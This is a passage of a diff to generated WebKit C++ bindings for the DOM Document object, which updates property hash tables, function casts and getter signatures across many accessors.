+    { "onscroll", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnscroll), (intptr_t)setJSDocumentOnscroll },
+    { "onselect", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnselect), (intptr_t)setJSDocumentOnselect },
+    { "onsubmit", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnsubmit), (intptr_t)setJSDocumentOnsubmit },
+    { "onbeforecut", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnbeforecut), (intptr_t)setJSDocumentOnbeforecut },
+    { "oncut", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOncut), (intptr_t)setJSDocumentOncut },
+    { "onbeforecopy", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnbeforecopy), (intptr_t)setJSDocumentOnbeforecopy },
+    { "oncopy", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOncopy), (intptr_t)setJSDocumentOncopy },
+    { "onbeforepaste", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnbeforepaste), (intptr_t)setJSDocumentOnbeforepaste },
+    { "onpaste", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnpaste), (intptr_t)setJSDocumentOnpaste },
+    { "onreset", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnreset), (intptr_t)setJSDocumentOnreset },
+    { "onsearch", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnsearch), (intptr_t)setJSDocumentOnsearch },
+    { "onselectstart", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOnselectstart), (intptr_t)setJSDocumentOnselectstart },
+#if ENABLE(TOUCH_EVENTS)
+    { "ontouchstart", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOntouchstart), (intptr_t)setJSDocumentOntouchstart },
+#endif
+#if ENABLE(TOUCH_EVENTS)
+    { "ontouchmove", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOntouchmove), (intptr_t)setJSDocumentOntouchmove },
+#endif
+#if ENABLE(TOUCH_EVENTS)
+    { "ontouchend", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOntouchend), (intptr_t)setJSDocumentOntouchend },
+#endif
+#if ENABLE(TOUCH_EVENTS)
+    { "ontouchcancel", DontDelete|DontEnum, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentOntouchcancel), (intptr_t)setJSDocumentOntouchcancel },
+#endif
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDocumentConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
 static JSC_CONST_HASHTABLE HashTable JSDocumentTable =
 #if ENABLE(PERFECT_HASH_SIZE)
-    { 2047, JSDocumentTableValues, 0 };
+    { 8191, JSDocumentTableValues, 0 };
 #else
-    { 260, 255, JSDocumentTableValues, 0 };
+    { 262, 255, JSDocumentTableValues, 0 };
 #endif
 
 /* Hash table for constructor */
@@ -208,7 +218,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -231,43 +241,43 @@ bool JSDocumentConstructor::getOwnPropertyDescriptor(ExecState* exec, const Iden
 
 static const HashTableValue JSDocumentPrototypeTableValues[38] =
 {
-    { "createElement", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionCreateElement, (intptr_t)1 },
-    { "createDocumentFragment", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionCreateDocumentFragment, (intptr_t)0 },
-    { "createTextNode", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionCreateTextNode, (intptr_t)1 },
-    { "createComment", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionCreateComment, (intptr_t)1 },
-    { "createCDATASection", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionCreateCDATASection, (intptr_t)1 },
-    { "createProcessingInstruction", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionCreateProcessingInstruction, (intptr_t)2 },
-    { "createAttribute", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionCreateAttribute, (intptr_t)1 },
-    { "createEntityReference", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionCreateEntityReference, (intptr_t)1 },
-    { "getElementsByTagName", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionGetElementsByTagName, (intptr_t)1 },
-    { "importNode", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionImportNode, (intptr_t)2 },
-    { "createElementNS", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionCreateElementNS, (intptr_t)2 },
-    { "createAttributeNS", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionCreateAttributeNS, (intptr_t)2 },
-    { "getElementsByTagNameNS", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionGetElementsByTagNameNS, (intptr_t)2 },
-    { "getElementById", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionGetElementById, (intptr_t)1 },
-    { "adoptNode", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionAdoptNode, (intptr_t)1 },
-    { "createEvent", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionCreateEvent, (intptr_t)1 },
-    { "createRange", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionCreateRange, (intptr_t)0 },
-    { "createNodeIterator", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionCreateNodeIterator, (intptr_t)4 },
-    { "createTreeWalker", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionCreateTreeWalker, (intptr_t)4 },
-    { "getOverrideStyle", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionGetOverrideStyle, (intptr_t)2 },
-    { "createExpression", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionCreateExpression, (intptr_t)2 },
-    { "createNSResolver", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionCreateNSResolver, (intptr_t)1 },
-    { "evaluate", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionEvaluate, (intptr_t)5 },
-    { "execCommand", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionExecCommand, (intptr_t)3 },
-    { "queryCommandEnabled", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionQueryCommandEnabled, (intptr_t)1 },
-    { "queryCommandIndeterm", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionQueryCommandIndeterm, (intptr_t)1 },
-    { "queryCommandState", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionQueryCommandState, (intptr_t)1 },
-    { "queryCommandSupported", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionQueryCommandSupported, (intptr_t)1 },
-    { "queryCommandValue", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionQueryCommandValue, (intptr_t)1 },
-    { "getElementsByName", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionGetElementsByName, (intptr_t)1 },
-    { "elementFromPoint", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionElementFromPoint, (intptr_t)2 },
-    { "caretRangeFromPoint", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionCaretRangeFromPoint, (intptr_t)2 },
-    { "getSelection", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionGetSelection, (intptr_t)0 },
-    { "getCSSCanvasContext", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionGetCSSCanvasContext, (intptr_t)4 },
-    { "getElementsByClassName", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionGetElementsByClassName, (intptr_t)1 },
-    { "querySelector", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionQuerySelector, (intptr_t)1 },
-    { "querySelectorAll", DontDelete|Function, (intptr_t)jsDocumentPrototypeFunctionQuerySelectorAll, (intptr_t)1 },
+    { "createElement", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionCreateElement), (intptr_t)1 },
+    { "createDocumentFragment", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionCreateDocumentFragment), (intptr_t)0 },
+    { "createTextNode", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionCreateTextNode), (intptr_t)1 },
+    { "createComment", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionCreateComment), (intptr_t)1 },
+    { "createCDATASection", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionCreateCDATASection), (intptr_t)1 },
+    { "createProcessingInstruction", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionCreateProcessingInstruction), (intptr_t)2 },
+    { "createAttribute", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionCreateAttribute), (intptr_t)1 },
+    { "createEntityReference", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionCreateEntityReference), (intptr_t)1 },
+    { "getElementsByTagName", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionGetElementsByTagName), (intptr_t)1 },
+    { "importNode", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionImportNode), (intptr_t)2 },
+    { "createElementNS", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionCreateElementNS), (intptr_t)2 },
+    { "createAttributeNS", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionCreateAttributeNS), (intptr_t)2 },
+    { "getElementsByTagNameNS", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionGetElementsByTagNameNS), (intptr_t)2 },
+    { "getElementById", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionGetElementById), (intptr_t)1 },
+    { "adoptNode", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionAdoptNode), (intptr_t)1 },
+    { "createEvent", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionCreateEvent), (intptr_t)1 },
+    { "createRange", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionCreateRange), (intptr_t)0 },
+    { "createNodeIterator", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionCreateNodeIterator), (intptr_t)4 },
+    { "createTreeWalker", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionCreateTreeWalker), (intptr_t)4 },
+    { "getOverrideStyle", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionGetOverrideStyle), (intptr_t)2 },
+    { "createExpression", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionCreateExpression), (intptr_t)2 },
+    { "createNSResolver", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionCreateNSResolver), (intptr_t)1 },
+    { "evaluate", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionEvaluate), (intptr_t)5 },
+    { "execCommand", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionExecCommand), (intptr_t)3 },
+    { "queryCommandEnabled", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionQueryCommandEnabled), (intptr_t)1 },
+    { "queryCommandIndeterm", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionQueryCommandIndeterm), (intptr_t)1 },
+    { "queryCommandState", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionQueryCommandState), (intptr_t)1 },
+    { "queryCommandSupported", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionQueryCommandSupported), (intptr_t)1 },
+    { "queryCommandValue", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionQueryCommandValue), (intptr_t)1 },
+    { "getElementsByName", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionGetElementsByName), (intptr_t)1 },
+    { "elementFromPoint", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionElementFromPoint), (intptr_t)2 },
+    { "caretRangeFromPoint", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionCaretRangeFromPoint), (intptr_t)2 },
+    { "getSelection", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionGetSelection), (intptr_t)0 },
+    { "getCSSCanvasContext", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionGetCSSCanvasContext), (intptr_t)4 },
+    { "getElementsByClassName", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionGetElementsByClassName), (intptr_t)1 },
+    { "querySelector", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionQuerySelector), (intptr_t)1 },
+    { "querySelectorAll", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDocumentPrototypeFunctionQuerySelectorAll), (intptr_t)1 },
     { 0, 0, 0, 0 }
 };
 
@@ -302,725 +312,892 @@ JSDocument::JSDocument(NonNullPassRefPtr<Structure> structure, JSDOMGlobalObject
 {
 }
 
-JSDocument::~JSDocument()
-{
-    forgetDOMObject(this, static_cast<Document*>(impl()));
-}
-
 JSObject* JSDocument::createPrototype(ExecState* exec, JSGlobalObject* globalObject)
 {
     return new (exec) JSDocumentPrototype(JSDocumentPrototype::createStructure(JSNodePrototype::self(exec, globalObject)));
 }
 
-JSValue jsDocumentDoctype(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentDoctype(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->doctype()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->doctype()));
+    return result;
 }
 
-JSValue jsDocumentImplementation(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentImplementation(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->implementation()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->implementation()));
+    return result;
 }
 
-JSValue jsDocumentDocumentElement(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentDocumentElement(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->documentElement()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->documentElement()));
+    return result;
 }
 
-JSValue jsDocumentInputEncoding(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentInputEncoding(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return jsStringOrNull(exec, imp->inputEncoding());
+    JSValue result = jsStringOrNull(exec, imp->inputEncoding());
+    return result;
 }
 
-JSValue jsDocumentXMLEncoding(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentXMLEncoding(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return jsStringOrNull(exec, imp->xmlEncoding());
+    JSValue result = jsStringOrNull(exec, imp->xmlEncoding());
+    return result;
 }
 
-JSValue jsDocumentXMLVersion(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentXMLVersion(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return jsStringOrNull(exec, imp->xmlVersion());
+    JSValue result = jsStringOrNull(exec, imp->xmlVersion());
+    return result;
 }
 
-JSValue jsDocumentXMLStandalone(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentXMLStandalone(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return jsBoolean(imp->xmlStandalone());
+    JSValue result = jsBoolean(imp->xmlStandalone());
+    return result;
 }
 
-JSValue jsDocumentDocumentURI(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentDocumentURI(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return jsStringOrNull(exec, imp->documentURI());
+    JSValue result = jsStringOrNull(exec, imp->documentURI());
+    return result;
 }
 
-JSValue jsDocumentDefaultView(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentDefaultView(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->defaultView()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->defaultView()));
+    return result;
 }
 
-JSValue jsDocumentStyleSheets(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentStyleSheets(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->styleSheets()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->styleSheets()));
+    return result;
 }
 
-JSValue jsDocumentTitle(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentTitle(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return jsString(exec, imp->title());
+    JSValue result = jsString(exec, imp->title());
+    return result;
 }
 
-JSValue jsDocumentReferrer(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentReferrer(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return jsString(exec, imp->referrer());
+    JSValue result = jsString(exec, imp->referrer());
+    return result;
 }
 
-JSValue jsDocumentDomain(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentDomain(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return jsString(exec, imp->domain());
+    JSValue result = jsString(exec, imp->domain());
+    return result;
 }
 
-JSValue jsDocumentURL(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentURL(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return jsString(exec, imp->url());
+    JSValue result = jsString(exec, imp->url());
+    return result;
 }
 
-JSValue jsDocumentCookie(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentCookie(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
-    UNUSED_PARAM(exec);
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
+    ExceptionCode ec = 0;
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return jsString(exec, imp->cookie());
+    JSC::JSValue result = jsString(exec, imp->cookie(ec));
+    setDOMException(exec, ec);
+    return result;
 }
 
-JSValue jsDocumentBody(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentBody(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->body()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->body()));
+    return result;
 }
 
-JSValue jsDocumentHead(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentHead(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->head()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->head()));
+    return result;
 }
 
-JSValue jsDocumentImages(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentImages(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->images()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->images()));
+    return result;
 }
 
-JSValue jsDocumentApplets(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentApplets(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->applets()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->applets()));
+    return result;
 }
 
-JSValue jsDocumentLinks(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentLinks(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->links()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->links()));
+    return result;
 }
 
-JSValue jsDocumentForms(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentForms(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->forms()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->forms()));
+    return result;
 }
 
-JSValue jsDocumentAnchors(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentAnchors(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->anchors()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->anchors()));
+    return result;
 }
 
-JSValue jsDocumentLastModified(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentLastModified(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return jsString(exec, imp->lastModified());
+    JSValue result = jsString(exec, imp->lastModified());
+    return result;
 }
 
-JSValue jsDocumentLocation(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentLocation(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     return castedThis->location(exec);
 }
 
-JSValue jsDocumentCharset(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentCharset(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return jsStringOrUndefined(exec, imp->charset());
+    JSValue result = jsStringOrUndefined(exec, imp->charset());
+    return result;
 }
 
-JSValue jsDocumentDefaultCharset(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentDefaultCharset(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return jsStringOrUndefined(exec, imp->defaultCharset());
+    JSValue result = jsStringOrUndefined(exec, imp->defaultCharset());
+    return result;
 }
 
-JSValue jsDocumentReadyState(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentReadyState(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return jsStringOrUndefined(exec, imp->readyState());
+    JSValue result = jsStringOrUndefined(exec, imp->readyState());
+    return result;
 }
 
-JSValue jsDocumentCharacterSet(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentCharacterSet(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
